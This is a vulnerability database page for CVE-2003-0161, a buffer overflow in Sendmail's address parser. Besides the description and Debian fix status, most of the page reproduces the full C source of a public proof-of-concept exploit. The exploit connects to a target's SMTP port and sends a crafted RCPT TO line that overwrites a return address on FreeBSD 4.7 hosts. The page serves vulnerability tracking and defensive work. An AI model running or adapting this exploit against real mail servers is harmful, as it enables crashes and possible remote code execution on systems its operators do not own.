CVE-2003-0161
Description
The prescan() function in the address parser (parseaddr.c) in Sendmail before 8.12.9 does not properly handle certain conversions from char and int types, which can cause a length check to be disabled when Sendmail misinterprets an input value as a special "NOCHAR" control value, allowing attackers to cause a denial of service and possibly execute arbitrary code via a buffer overflow attack using messages, a different vulnerability than CVE-2002-1337.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Sendmail 8.12.8 (BSD) - 'Prescan()' Remote Command Execution
/*
* Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin
*
* This is to prove that the bug in sendmail 8.12.8 and below is vulnerable.
* On sucessful POC exploitation the program should crash with the following:
*
* Program received signal SIGSEGV, Segmentation fault.
* 0x5c5c5c5c in ?? ()
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
int maxarch=1;
struct arch {
char *os; // The OS
int pos; // The position of ebp in the stack, with the last byte being 0x00
int apos; // The amount of bytes after pvpbuf where ebp is located
unsigned long addr; // The pointer to the addr buffer
} archs[] = {
{"FreeBSD 4.7-RELEASE",180,28,0xbfbfdad1},
};
/////////////////////////////////////////////////////////
#define BUFSIZE 50096
void header() {
printf("Sendmail 8.12.8 prescan() exploit by bysin\n\n");
}
void printtargets() {
unsigned long i;
header();
printf("\t Target\t Addr\t\t OS\n");
printf("\t-------------------------------------------\n");
for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].addr,archs[i].os);
printf("\n");
}
void printresponse(char *a) {
printf("%s\n",a);
}
void writesocket(int sock, char *buf) {
if (send(sock,buf,strlen(buf),0) <= 0) {
printf("Error writing to socket\n");
exit(0);
}
printresponse(buf);
}
void readsocket(int sock, int response) {
char temp[BUFSIZE];
memset(temp,0,sizeof(temp));
if (recv(sock,temp,sizeof(temp),0) <= 0) {
printf("Error reading from socket\n");
exit(0);
}
if (response != atol(temp)) {
printf("Bad response: %s\n",temp);
exit(0);
}
else printresponse(temp);
}
void relay(int sock) {
while(1) {
char temp[BUFSIZE];
memset(temp,0,sizeof(temp));
if (recv(sock,temp,sizeof(temp),0) <= 0) {
printf("Server vulnerable (crashed)\n");
exit(0);
}
printresponse(temp);
if (atol(temp) == 553) {
printf("Not exploitable\n");
exit(0);
}
}
}
int main(int argc, char **argv) {
struct sockaddr_in server;
unsigned long ipaddr,i,j,m;
int sock,target;
char tmp[BUFSIZE],buf[BUFSIZE],*p,*pos=NULL;
if (argc <= 2) {
printf("%s <target ip> <target number>\n",argv[0]);
printtargets();
return 0;
}
target=atol(argv[2]);
if (target < 0 || target >= maxarch) {
printtargets();
return 0;
}
header();
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Unable to create socket\n");
exit(0);
}
server.sin_family = AF_INET;
server.sin_port = htons(25);
printf("Resolving address... ");
fflush(stdout);
if ((ipaddr = inet_addr(argv[1])) == -1) {
struct hostent *hostm;
if ((hostm=gethostbyname(argv[1])) == NULL) {
printf("Unable to resolve address\n");
exit(0);
}
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
}
else server.sin_addr.s_addr = ipaddr;
memset(&(server.sin_zero), 0, 8);
printf("Address found\n");
printf("Connecting... ");
fflush(stdout);
if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
printf("Unable to connect\n");
exit(0);
}
printf("Connected\n");
printf("Sending exploit... \n");
fflush(stdout);
readsocket(sock,220);
writesocket(sock,"HELO yahoo.com\r\n");
readsocket(sock,250);
writesocket(sock,"MAIL FROM: <a@yahoo.com>\r\n");
readsocket(sock,250);
memset(buf,0,sizeof(buf));
strcpy(buf,"RCPT TO: ");
p=buf+strlen(buf);
for (i=1,j=0,m=0;i<1242;i++) {
if (!(i%256)) {
*p++=';';
j++;
}
else {
if (j < 4) *p++='A';
else {
if (m == archs[target].pos) pos=p;
//if (m > archs[target].pos) *p++='B'; else
*p++='A';
m++;
}
}
}
if (pos) memcpy(pos,(char*)&archs[target].addr,4);
*p++=';';
for (i=0;i<archs[target].apos;i++) {
*p++='\\';
*p++=0xff;
}
strcat(buf,"\r\n");
writesocket(sock,buf);
relay(sock);
}
// milw0rm.com [2003-04-30]
Sendmail 8.11.6 - Address Prescan Memory Corruption
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 8.12.9-1 |
| sid | Fixed | 8.12.9-1 |
| forky | Fixed | 8.12.9-1 |
| bullseye | Fixed | 8.12.9-1 |
| bookworm | Fixed | 8.12.9-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.